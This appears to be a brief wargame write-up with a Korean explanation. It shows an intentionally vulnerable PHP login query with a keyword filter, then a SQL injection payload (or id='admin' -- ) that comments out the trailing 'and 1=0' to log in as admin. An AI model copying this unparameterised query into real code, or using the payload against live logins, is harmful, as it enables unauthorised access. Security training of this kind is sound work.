<?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("skeleton"); highlight_file(__FILE__); ?>
문제 난이도가 좀 요동치는거 같은데 이 쿼리는 and 1=0 때문에 무조건 false가 나온다
그렇기 때문에 반드시 뒤 쿼리를 주석해줘야된다
select id from prob_skeleton where id='guest' and pw='' or id='admin' -- a' and 1=0